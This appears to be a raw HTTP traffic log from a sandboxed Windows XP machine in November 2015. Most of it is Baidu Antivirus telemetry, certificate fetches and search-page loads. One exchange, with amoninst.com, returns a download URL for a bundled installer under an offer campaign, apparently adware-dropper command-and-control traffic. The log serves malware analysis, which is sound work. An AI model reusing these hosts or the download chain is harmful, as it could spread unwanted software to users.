(5...8ez1..A?u.u1....A...#..:.....1.c...^f...&./..K<....)!...sl..4..o$.W..T.g......Y............x..b.es.C.m9.......
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=0.J.N..w..B.t...R.E..D}.~.SC..

GET /opencgi/downinfo.php?m=end_download&i=61807c4bafc26bb2ed98e3e60f587cd61448348610&s=205.185.216.42&u=hXXp://dl2.bav.baidu.com/BavPro_Setup_B354.exe&t=2015/11/24 09:03:54&v=5.4.0.90620&p=10000&speed=1260555&code=30000 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: speedtest.wshifen.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:52 GMT

Server: Apache/2.2.25 (Unix) PHP/5.2.17

X-Powered-By: PHP/5.2.17

Content-Length: 4

Content-Type: text/html

200.HTTP/1.1 200 OK..Date: Tue, 24 Nov 2015 07:03:52 GMT..Server: Apac
he/2.2.25 (Unix) PHP/5.2.17..X-Powered-By: PHP/5.2.17..Content-Length:
 4..Content-Type: text/html..200...

GET /UTN-USERFirst-Object.crl HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: crl.usertrust.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Nov 2015 07:03:30 GMT

Content-Type: application/x-pkcs7-crl

Content-Length: 75505

Last-Modified: Mon, 23 Nov 2015 08:05:23 GMT

Connection: close

ETag: "5652c8c3-126f1"

X-CCACDN-Mirror-ID: h6edcacrl7

Cache-Control: max-age=3600

Accept-Ranges: bytes
0..&.0..%....0...*.H........0..1.0...U....US1.0...U....UT1.0...U....Sa
lt Lake City1.0...U....The USERTRUST Network1!0...U....hXXp://VVV.user
trust.com1.0...U....UTN-USERFirst-Object..151123080523Z..151127080523Z
0..$.0"....2EY..aU..........050525083740Z0".....Iv...h ..ys.....050525
090148Z0!..u.......|..xk.0...050602000000Z0".....6.z..........7..05060
2075356Z0"....!.$.KM(C@="..o}..050603153950Z0".......W%Ny.vD.q..Y..050
607084159Z0".......3W]...$.#\F4..050613095931Z0!......(.62..2PLr.q..05
0630164737Z0"....BLA......)..5....050707141212Z0!..Wa........q#......0
50711082844Z0!.._j.....o...'...m..050715130339Z0!..?........N]B..Z...0
50721083234Z0!..RO.)@..Q...p._....050726090436Z0".....k......1.g......
050729091017Z0"....l........o... ...050729134103Z0"....v.R..~...?.(..&
..050803165854Z0!..6..;....sC.M.s:...050809135135Z0!...........^nH.U.(
..050810132024Z0"......;.S...wU-K.c...050810211644Z0"......d..#IE..#|.
g#..050811182050Z0"....!..|....]rR..-r..050817085053Z0"......Ai..xJ..q
]Xi...050822140450Z0!..>...........t'6...050824025640Z0!..?3..rd5&g
t;ocV.. ....050824075512Z0"....|..5u[.}<..[.@...050908092147Z0!..GJ
.C...<NM.i......050912092806Z0!....(.8....U.1.'....050912144650Z0!.
.*.(ECy.V.?x.3S_k..050915103419Z0!......./.....L...r..050919144257Z0!.
.Y....=....#.......050929000000Z0!..p.,.g.x..z:q~.....050930114111Z0".
...-.."...\w...~....050930123007Z0!....o0........P.H...051004084832Z0"
.......=6......4.....051005122403Z0!..md\\...~.v.o......051013100954Z0
!...6.D...hR..BO._...051013110610Z0!..5.x.1..6.p~}>.....0510181<<< skipped >>>

POST /queryfeature.do HTTP/1.0

Content-Length: 127

Host: f.eg.bav.baidu.com

e=

%e:y.....1.\k.....|q...>...l.!p..........[....x. ..#...$
..#OQB9.)p...f..yE..<G.@b..|S.4.1,yx..K....pD.....dY..&......^1 ..
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=2...j H..1>trF......S..<......

POST /queryfeature.do HTTP/1.0

Content-Length: 128

Host: f.eg.bav.baidu.com

e=

.h...,.0.XiBQ.[W{'...5...<..r..........[....w........
gR........Q..~l.m...z.........j.......Y5...........~.....>..81@/5?_9n#
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=2...j H.}.s.r$..O...y..U......

POST /queryfeature.do HTTP/1.0

Content-Length: 128

Host: f.eg.bav.baidu.com

e=

.h...,.0.XiBQ.[W{'...5...<..r..........[....w.......G.......L@. ZN..l.m...Jh.|)~.l]...R.....Y5....d......~.....>..81@/5?_9n#
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=2...j H....;1..f...(r.T.......

POST /cgi-bin-py/get_channel_info_bavv2.cgi HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: sync.eg.bav.baidu.com

Content-Length: 1058

Connection: Keep-Alive

install_channel=Imali|br|IBD|Bundle&version=5.4.3.147185&errorcode=0&errortext=c3RhcnQgaW5pdA==&userid=61807c4bafc26bb2ed98e3e60f587cd6&olduserid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB&os=5.1.2600.xpsp.080413-2111&lljf=0&parentname=175ab56a567c0a72e71b49ed75433bc5115af16a3b7c1272c91b6eed4d432ac5185ac06a497c0f72e41b59ed5e4347c5085adb6a6f7c2372d81b56ed744313c5395aff6a567c0172eb1b6ced624313c5315aff6a477c3872ec1b6ced65434ec5395afe6a497c0672ed1b41ed4b4301c51b5afa6a6c7c2472e01b45ed634310c5165aea6a6f7c3e72e51b7ced644310c5115ab76a677c3f72eb1b42ed65433dc53f5af86a457c3b72ce1b60ed68432ac51b5acc6a6c7c0c72cd1b6fed50433bc5225acb6a6c7c0b72901b67ed514335c51c5aca6a417c2572df1b45ed554310c53e5ac76a457c0d72ce1b48ed454313c5245ac26a7c7c0a72ce1b4fed18431bc5255acc6a427c0b72e31b61ed574339c5215ae96a607c0672f71b68ed4e4358c5315af76a6f7c&parentsize=3c6faf6a&parentmd5=f7eb03c7d0965d0099f7549a9e2779b4&AutoUpload=1&fr=GlQS71A5R/R93RdTNQpd TdVFq8I&time=1448348652&action=end&normal=&rename=&movefile=&up=1&uuid=61807c4bafc26bb2ed98e3e60f587cd6
HTTP/1.1 200 OK

Content-Length: 28

Content-Type: text/html;charset=utf-8

Connection: Keep-Alive

upload channel info bavv2 okHTTP/1.1 200 OK..Content-Length: 28..Conte
nt-Type: text/html;charset=utf-8..Connection: Keep-Alive..upload chann
el info bavv2 ok..

POST /queryfeature.do HTTP/1.0

Content-Length: 129

Host: f.eg.bav.baidu.com

e=

.=..3,*.<.O...]...^7.{x.b.%.P.\~. .e.|c....C..V.O3V<".W...X.v..a7...5.Ca...`1.X..L...F........(.l.....z...5.....Z=.Z....q....
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=1..4....J... .^..4..E......j..

GET /msdownload/update/v3/static/trustedr/en/authrootseq.txt HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: VVV.download.windowsupdate.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache


HTTP/1.1 200 OK

Cache-Control: max-age=604800

Content-Type: text/plain

Last-Modified: Thu, 20 Aug 2015 18:11:19 GMT

Accept-Ranges: bytes

ETag: "803dac9c73dbd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 18

Date: Tue, 24 Nov 2015 07:04:10 GMT

Connection: keep-alive

X-CCC: UA

X-CID: 2

1401D0DB739CEE64E9HTTP/1.1 200 OK..Cache-Control: max-age=604800..Cont
ent-Type: text/plain..Last-Modified: Thu, 20 Aug 2015 18:11:19 GMT..Ac
cept-Ranges: bytes..ETag: "803dac9c73dbd01:0"..Server: Microsoft-IIS/7
.5..X-Powered-By: ASP.NET..Content-Length: 18..Date: Tue, 24 Nov 2015 
07:04:10 GMT..Connection: keep-alive..X-CCC: UA..X-CID: 2..1401D0DB739
CEE64E9....

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: VVV.download.windowsupdate.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache


HTTP/1.1 200 OK

Cache-Control: max-age=604800

Content-Type: application/octet-stream

Last-Modified: Thu, 20 Aug 2015 19:08:01 GMT

Accept-Ranges: bytes

ETag: "803e6c887bdbd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 50006

Date: Tue, 24 Nov 2015 07:04:11 GMT

Connection: keep-alive

X-CCC: UA

X-CID: 2
MSCF....V.......,...................I..................G.` .authroot.s
tl.W....8..CK...<T.....c.5(..=..!Ev"..d'..c-iTBWI.H%..V.........E.%
)...f....uo...~/.3..s..y>...=..l...dbUH4M...1....&J.}<...#.L..\.
x!F.t.^......q..l8p.i.J'3.........J.5v....z-...A4U.T.E...h...}$.....5.
=.....VnU..E.[.[a(.."..G..P..k.m.3.....EP>.g..?.kY|..L.v...qDz...T.
&p.&..:.f....T.b..\...Af\..J..I.....tN09.......|,[r._..x..Y.e.(d..o...
`3........(... .$...V..e.y.s$p...u...........W..~...A.B....GoOV.....JT
.."VF.<.A....3...r.......addf`.....ph.J:r.E..[\L.X.:....?.. .....b.
..l....St...U.N;..a.h-W....4.Uqb.MbF=.X.C..DX..............V.U..P.....
'........P=.?...s_.j...W_....P...-..t1@....s:...5..j7[.!Yb|.....l...G.
F.E..?lg..m-n.(/6I..........._......5........n.t.<.'....Nim..;.!{..
......N.h...u.....x`... gR..B..V{.'..=}..=|.hg.9.6....j..w.[P`.G.....d
..............!..t./..........*.@(8(v1....'..Z. ....R.r....1Jn.j.[p..A
t..W;F.(..a...N...X....=.[..'.r.....^$B.a...9....,v-...%.2...:...[..6.
j...1..!{.....n..={.U....%...y,.....>a`..0..6..SJda.)9x...zqc..X..V
q.1z.....'^.....^sU|$.u...~.Lgf...Y...V..(f.(...m...-..-&,..c&z...-...
..fGO..6...N.y<.z..,...g|.....!..$....<....q......q8.<t.k.p.=
......z.}.Q.U....&J..-T......[...........}u...T.......>.y.e..CF".VX
$;&T.>..].3.H....7k..w.m...(..#c...@...v....[..l..w.e.2..3..(y. ...
|K9>...o..Uz.....V..W|.k.|...,..V.xPmV...X......!.........Jj.%.N_.9
T.~...v...C.!.4.5a.!...(..../5j...@p.....S...F.jde........PC...MZO....
......D~...%y.....i....a.$vu.7...{.6.{Y3....5.YD.d>,.....b...H.<<< skipped >>>

GET /msdownload/update/v3/static/trustedr/en/B1BC968BD4F49D622AA89A81F2150152A41D829C.crt HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: VVV.download.windowsupdate.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache


HTTP/1.1 200 OK

Content-Type: application/x-x509-ca-cert

Last-Modified: Thu, 23 Jul 2015 23:16:35 GMT

Accept-Ranges: bytes

ETag: "80b4b9e9dc5d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 889

Date: Tue, 24 Nov 2015 07:04:11 GMT

Connection: keep-alive

X-CCC: UA

X-CID: 2

0..u0..]..............KZ..0...*.H........0W1.0...U....BE1.0...U....Glo
balSign nv-sa1.0...U....Root CA1.0...U....GlobalSign Root CA0...980901
120000Z..280128120000Z0W1.0...U....BE1.0...U....GlobalSign nv-sa1.0...
U....Root CA1.0...U....GlobalSign Root CA0.."0...*.H.............0....
............O.~....%k.H..*.......c..gf.....H ......).e...-....Lp..=.0.
..O....P...P......R..}.m.50.^Cs.A..j...:V98o.<.i[*M..T.l....<...
...<.x...tn.Da...F.u......ml.x......8..$.OsT...:...4.....w.... ...S
n..{7t.pG."Qc.y...A&... .F.H.d*..4.,*.l.CJ....|.!h...R...........B0@0.
..U...........0...U.......0....0...U......`{f.E....P/}..4....K0...*.H.
.............s.|Ov.......4.(2.|.l., ...S.k^..H......=aM.F..>...cU..
...9.C.8../.&;..PV....8...pQ......_.....A..]ud...U0......,.cF.....i...
Hd......).........i,i$x....qb......]...G.n*.V1..g.. .l.]F......Q.p..V=
a.j.\...=.A...cR.SS. ......_..A..........o. .......fU..H.)&i.HTTP/1.1 
200 OK..Content-Type: application/x-x509-ca-cert..Last-Modified: Thu, 
23 Jul 2015 23:16:35 GMT..Accept-Ranges: bytes..ETag: "80b4b9e9dc5d01:
0"..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Content-Length: 
889..Date: Tue, 24 Nov 2015 07:04:11 GMT..Connection: keep-alive..X-CC
C: UA..X-CID: 2..0..u0..]..............KZ..0...*.H........0W1.0...U...
.BE1.0...U....GlobalSign nv-sa1.0...U....Root CA1.0...U....GlobalSign 
Root CA0...980901120000Z..280128120000Z0W1.0...U....BE1.0...U....Globa
lSign nv-sa1.0...U....Root CA1.0...U....GlobalSign Root CA0.."0...*.H.
............0................O.~....%k.H..*.......c..gf.....H ....

<<< skipped >>>

GET /cloud-hips-down.cgi/static/hipstips.dat HTTP/1.0

Connection: Keep-Alive

Host: f.eg.bav.baidu.com

Range: bytes=0-30078


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Nov 2015 07:04:09 GMT

Content-Type: application/octet-stream

Content-Length: 30079

Last-Modified: Wed, 08 Jul 2015 03:10:01 GMT

Connection: Close

ETag: "559c9489-757f"

Content-Disposition: : /home/work/nginx/htdocs/cloud-hips-down.cgi/static/hipstips.dat

Content-Range: bytes 0-30078/30079
J....._.tM..o..8...d..]..?..&.......`<.. ......9|.Z.....mW-@.lT*o.(
......'....=..[.|gVY(..>.nC(...f.A...pY^....... ..a.J............._
..<z....`.3....T..A.|c!/>...u.-..&.Q..wg...-..G..e.0./eOvw..?"..
G......T...^l......]......:..[5......U.).?.}./..........g...s..]..!./.
.|..*....TiX.....s..2'...s .........tg.N.....9.gb...=...}.%<.......
!...\o..Y..U.........3.].....%V<:.-...."..o..T,a..L6.^."{.{..:^..vm
...)R. ...;)d(..c..es...... .f..TFqK&$k..n.p.z..^.....-R.".&6...g..K..
%}....X..V...Ma|9..7.b1Li.%..W......C.H.G....Zx...v..QLx; ...3.....!..
...d....`.....[.._}.G=...5..q..o.r..H..@._l...n...l$.9.a.jt...s@..n..d
......*.J...A1@..w-......c:.AF..PC..;.,.z....my.....NR ..}m=....8. ...
.e.i.>/./..p...&z.KL_M..Zz.X....b.....j..=....c.B.....(..%.om.; P. 
.(...i.l .0..}T...J_Q-!1...q`....HL...H..!G...7....D"-..L.....TNv?...H
....#<.w....c.8.......,.T.....SpD.uHL..sE.Rb.f"E[F...vo..}N*.V....X
..*..~.h...b=.*..p9..?q..N...L.J....W........G.o@cV.a.LS.....]...H....
I....C.X .yIj.w.8..*JI.6.=*....ZDo.lC...p......X...7.gDT._Y.#6..8.lO..
.k.|Z....u.>.fs.G"...4i.......HW.....3...OG}..K..).....DK.....0._.U
.....fG!,.....8.....V~GG|.. `..[....Q...86..-tB..T..... .............x
...!....._........9.h,.4...`'*..L.Mn-A.3...`.7.h.............0...1.s..
.a..b@.^6.T3|.Y.(..]D.....;.w..E~...,..\=.sdV..U.L.....5.p7G.3..t.....
.y..I.):..\..P......}.~..&.N..zg....OW........B....6..b).WU.I..._ .$..
6 . C....8..l.c.8!..KN...x....].q.M...C.PC......-..y..$Ol.6.e...bl,)..
............$*.@....xP..S...w...l..P.v..&&....S.@$.$.'~6.B;.'...[$<<< skipped >>>

POST /namen.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host: VVV.amoninst.com

Content-Length: 70

Connection: Keep-Alive

campid=9664&i=MyBestOffersTodayBR&prefix=amisetup9587&version=1.1.2.41
HTTP/1.1 200 OK

Content-Type: text/plain; charset=UTF-8

Date: Tue, 24 Nov 2015 07:03:30 GMT

Server: Apache/2.2.15 (Red Hat)

X-Powered-By: PHP/5.3.3

Content-Length: 172

Connection: keep-alive
[Data]..exe=amisetup9587.exe..url=hXXp://VVV.downloadjelly.com/tdownlo
ad1.php..params=version=1.1.2.41&s1=68d4a4ac1e938d8f6168f88022c2d75d69
6a67c1&t1=1448348790&campid=9664HTTP/1.1 200 OK..Content-Type: text/pl
ain; charset=UTF-8..Date: Tue, 24 Nov 2015 07:03:30 GMT..Server: Apach
e/2.2.15 (Red Hat)..X-Powered-By: PHP/5.3.3..Content-Length: 172..Conn
ection: keep-alive..[Data]..exe=amisetup9587.exe..url=hXXp://VVV.downl
oadjelly.com/tdownload1.php..params=version=1.1.2.41&s1=68d4a4ac1e938d
8f6168f88022c2d75d696a67c1&t1=1448348790&campid=9664..

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..U..~.S7ze(\I.R!......I.
N..J_"'.....y....~.Q...MNo..l.o....$.......H\.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
......2...lW..*.$t/Q^b.Uz.....R.&....{n.-..l..

POST /queryfeature.do HTTP/1.0

Content-Length: 148

Host: f.eg.bav.baidu.com

e=

....x...>Q.xm..d1..H0...Z./QI.@.`...p......'&.....X..%.........g..1o....zg..a.V .G......t2._.o.~..n`.....k...].C....,.6.`....Q.r...?....*dhba.. 
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=2...j H.c&......U..hM.]m......

GET /cgi-bin/get_security_client_update_info_bav.cgi?ChannelName=Imali|br|IBD|Bundle&DataVersion=2111902987&FillLackFiles=yes&guid=61807c4bafc26bb2ed98e3e60f587cd6&Ismanual=no&IsPro=yes&mt=2112229640&mv=1.0&os=6.5.1.2600.3.0.0&ProgramVersion=5.4.3.147185&SignVersion=2.0.1.0&wbit=32&wt=2110524686&wv=1.0 HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: update.eg.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:25 GMT

Server: Apache

Content-Length: 1441

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/plain
<?xml version="1.0" encoding="utf-8"?><ServerRespond XmlVersi
on="1.0"><Version>5.4.3.147185</Version><UpdateProgr
am Md5="0x3004723321f5bd1fde5c5db3f43fbcf8" NeedUpdate="No" Size="3523
94" Url="hXXp://updown.bav.baidu.com/5.4.3.147185/baidu_update" flag="
NO_RULE_HIT_FLAG"/><UpdateFillLackFiles Md5="0x3004723321f5bd1fd
e5c5db3f43fbcf8" NeedUpdate="Yes" Size="352394" Url="hXXp://updown.bav
.baidu.com/5.4.3.147185/baidu_update"/><UpdateFeatureLib NeedUpd
ate="Yes" RelativeUrl="md5/2113411594,micro/2113411594,url/2112950282,
rcs/2113147145,srsl/2112953098,bavrr/2113343241,adblock/2112950282,plu
gindata/2113344777,bavdd/2113012750,startup/2113278481,bavbh/211321499
6" Url="hXXp://updown.bav.baidu.com/bav_featurelib/"/><UpdateSig
n Md5="0x00000000000000000000000000000000" NeedUpdate="No" Size="86894
" Url="hXXp://updown.bav.baidu.com/baidu_sign/2113411593"/><Upda
teBlackUrlSign Md5="0x00000000000000000000000000000000" NeedUpdate="No
" Size="86894" Url="hXXp://updown.bav.baidu.com/"/><UpdateWhiteU
rlSign Md5="0x49b87ddf6eeffdb4fa7602049bf7367b" NeedUpdate="Yes" Size=
"9443837" Url="hXXp://updown.bav.baidu.com/whiteUrlSign_update/2112291
856"/><UpdateData Md5="0x00000000000000000000000000000000" NeedU
pdate="No" Size="86894" Url="hXXp://updown.bav.baidu.com/baidu_nsign/2
113411593"/><UpdateModule NeedUpdate="Yes" Url="hXXp://updown.ba
v.baidu.com/bav_module/" Versions="2015.06.24.63,2015.06.12.57,2015.05
.19.47,2015.05.11.36,"/></ServerRespond>..<<< skipped >>>

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..2.7.F#...z.D.<V.z..x(x-.....-..S?9[

.e..[..t5..b..-....A.04J.

.~....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close

.........0..\.......1...s.P.........Y.Y%..1...

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 71

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 188

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@.....J.USx..j..

h.S.....`.n[......R  .a..^.m....>...O..m.....'.W....}.,.w[...g......3..T.S.BM1........2;B.....b....#...QU..5.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

GET / HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: VVV.baidu.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:17 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: Keep-Alive

Vary: Accept-Encoding

Set-Cookie: BAIDUID=3AC76A6BB45A473EFD925656BD984D50:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: BIDUPSID=3AC76A6BB45A473EFD925656BD984D50; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: PSTM=1448348657; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: BDSVRTM=0; path=/

Set-Cookie: BD_HOME=0; path=/

Set-Cookie: H_PS_PSSID=1435_18094_17944_17783_17970_18041_17833_17001_17073_15168_11563_18016; path=/; domain=.baidu.com

P3P: CP=" OTI DSP COR IVA OUR IND COM "

Cache-Control: private

Cxy_all: baidu c3402e01290a1973667a438b4f16d7a4

Expires: Tue, 24 Nov 2015 07:03:35 GMT

X-Powered-By: HPHP

Server: BWS/1.1

X-UA-Compatible: IE=Edge,chrome=1

BDPAGETYPE: 1

BDQID: 0xb0113a5e000272b0

BDUSERID: 0
18008..<!DOCTYPE html><!--STATUS OK--><html><head
><meta http-equiv="content-type" content="text/html;charset=utf-
8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><m
eta content="always" name="referrer"><meta name="theme-color" co
ntent="#2932e1"><link rel="shortcut icon" href="/favicon.ico" ty
pe="image/x-icon" /><link rel="search" type="application/opensea
rchdescription xml" href="/content-search.xml" title="............" /&
gt;<link rel="icon" sizes="any" mask href="//VVV.baidu.com/img/baid
u.svg"><link rel="dns-prefetch" href="//s1.bdstatic.com"/><
;link rel="dns-prefetch" href="//t1.baidu.com"/><link rel="dns-p
refetch" href="//t2.baidu.com"/><link rel="dns-prefetch" href="/
/t3.baidu.com"/><link rel="dns-prefetch" href="//t10.baidu.com"/
><link rel="dns-prefetch" href="//t11.baidu.com"/><link re
l="dns-prefetch" href="//t12.baidu.com"/><link rel="dns-prefetch
" href="//b1.bdstatic.com"/><title>..........................
.</title>.<style index="index"  id="css_index">html,body{h
eight:100%}html{overflow-y:auto}body{font:12px arial;text-align:;backg
round:#fff}body,p,form,ul,li{margin:0;padding:0;list-style:none}body,f
orm,#fm{position:relative}td{text-align:left}img{border:0}a{color:#00c
}a:active{color:#f60}input{border:0;padding:0}#wrapper{position:relati
ve;_position:;min-height:100%}#head{padding-bottom:100px;text-align:ce
nter;*z-index:1}#ftCon{height:100px;position:absolute;bottom:44px;<<< skipped >>>

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..2.C.:$..

.3.8S....._|W.k...%..VN9[.x.d.....s=....f/.f

@.14N.R.

....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close

.........0.. .....e.7.....&df.......Q.] ..1...

POST /md5_check.cgi HTTP/1.0

Content-Length: 119

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..P.X.

.b....Oa....&..T.6?.7'..N.;y....7...=..
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close
......9.$.[.<....$.!w\.vV;........n.zv.I.!..#...

GET / HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: VVV.baidu.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:28 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: Keep-Alive

Vary: Accept-Encoding

Set-Cookie: BAIDUID=D6595EA17C783AD10B5166572050FAD5:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: BIDUPSID=D6595EA17C783AD10B5166572050FAD5; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: PSTM=1448348608; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: BDSVRTM=0; path=/

Set-Cookie: BD_HOME=0; path=/

Set-Cookie: H_PS_PSSID=11193_18071_1463_18046_12824_17783_17971_18042_17835_17001_17073_15955_11476_18019_10632; path=/; domain=.baidu.com

P3P: CP=" OTI DSP COR IVA OUR IND COM "

Cache-Control: private

Cxy_all: baidu 13592fd62e1298bf041279355143c733

Expires: Tue, 24 Nov 2015 07:03:11 GMT

X-Powered-By: HPHP

Server: BWS/1.1

X-UA-Compatible: IE=Edge,chrome=1

BDPAGETYPE: 1

BDQID: 0x8a65cc9d0002baa7

BDUSERID: 0
18024..<!DOCTYPE html><!--STATUS OK--><html><head
><meta http-equiv="content-type" content="text/html;charset=utf-
8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><m
eta content="always" name="referrer"><meta name="theme-color" co
ntent="#2932e1"><link rel="shortcut icon" href="/favicon.ico" ty
pe="image/x-icon" /><link rel="search" type="application/opensea
rchdescription xml" href="/content-search.xml" title="............" /&
gt;<link rel="icon" sizes="any" mask href="//VVV.baidu.com/img/baid
u.svg"><link rel="dns-prefetch" href="//s1.bdstatic.com"/><
;link rel="dns-prefetch" href="//t1.baidu.com"/><link rel="dns-p
refetch" href="//t2.baidu.com"/><link rel="dns-prefetch" href="/
/t3.baidu.com"/><link rel="dns-prefetch" href="//t10.baidu.com"/
><link rel="dns-prefetch" href="//t11.baidu.com"/><link re
l="dns-prefetch" href="//t12.baidu.com"/><link rel="dns-prefetch
" href="//b1.bdstatic.com"/><title>..........................
.</title>.<style index="index"  id="css_index">html,body{h
eight:100%}html{overflow-y:auto}body{font:12px arial;text-align:;backg
round:#fff}body,p,form,ul,li{margin:0;padding:0;list-style:none}body,f
orm,#fm{position:relative}td{text-align:left}img{border:0}a{color:#00c
}a:active{color:#f60}input{border:0;padding:0}#wrapper{position:relati
ve;_position:;min-height:100%}#head{padding-bottom:100px;text-align:ce
nter;*z-index:1}#ftCon{height:100px;position:absolute;bottom:44px;<<< skipped >>>

POST /queryfeature.do HTTP/1.0

Content-Length: 139

Host: f.eg.bav.baidu.com

e=

.c .?.".Q

{./..H`2K...D..^.`=kO.'...2.......].q?.Sa..6.T.;.^K.&.E.-. H..s.N..!.......
.....@(.9O!..7..W.u...N`:..k?.

k.....*..

)....
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=1..4.....!...q..]z...#P....j..

GET /?gfe_rd=cr&ei=yAtUVpbsMKm46ASt_rOoCA HTTP/1.1

Host: VVV.google.com.ua


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:36 GMT

Expires: -1

Cache-Control: private, max-age=0

Content-Type: text/html; charset=windows-1251

P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."

Server: gws

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Set-Cookie: PREF=ID=1111111111111111:FF=0:TM=1448348616:LM=1448348616:V=1:S=YfMpRPN5qLLsgLb5; expires=Thu, 31-Dec-2015 16:02:17 GMT; path=/; domain=.google.com.ua

Set-Cookie: NID=73=ENz4zppSXOY2uXLLFPOxEx4DNq0rQ_WEEOjF3861UO5h7hhMkazfR0yWvjzOYsfco0H16ZaJV3OJiJ_uvNKjnQ4fPPXFq0S5LsAT_qZSZtrwg0U90cWdc5b3LgHXZlHyDh_bamQtiYLlGNd1wLD5WBjUJwRIkSjIV5RZ9_Y; expires=Wed, 25-May-2016 07:03:36 GMT; path=/; domain=.google.com.ua; HttpOnly

Accept-Ranges: none

Vary: Accept-Encoding

Transfer-Encoding: chunked
52cb..<!doctype html><html itemscope="" itemtype="hXXp://sche
ma.org/WebPage" lang="uk"><head><meta content="/logos/dood
les/2015/41st-anniversary-of-the-discovery-of-lucy-5736109501841408-hp
.gif" itemprop="image"><meta content="41 ... . ... ........ ....
.......... .... #GoogleDoodle" property="og:description"><meta c
ontent="hXXp://VVV.google.com/logos/doodles/2015/41st-anniversary-of-t
he-discovery-of-lucy-5736109501841408-thp.png" property="og:image">
<meta content="550" property="og:image:width"><meta content="
145" property="og:image:height"><title>Google</title>&l
t;script>(function(){window.google={kEI:'yAtUVszAN8PmywOd_bxQ',kEXP
I:'3700247,4028875,4029815,4031109,4032677,4033307,4033344,4036527,403
8012,4039268,4040138,4041837,4042158,4042783,4042791,4043255,4043360,4
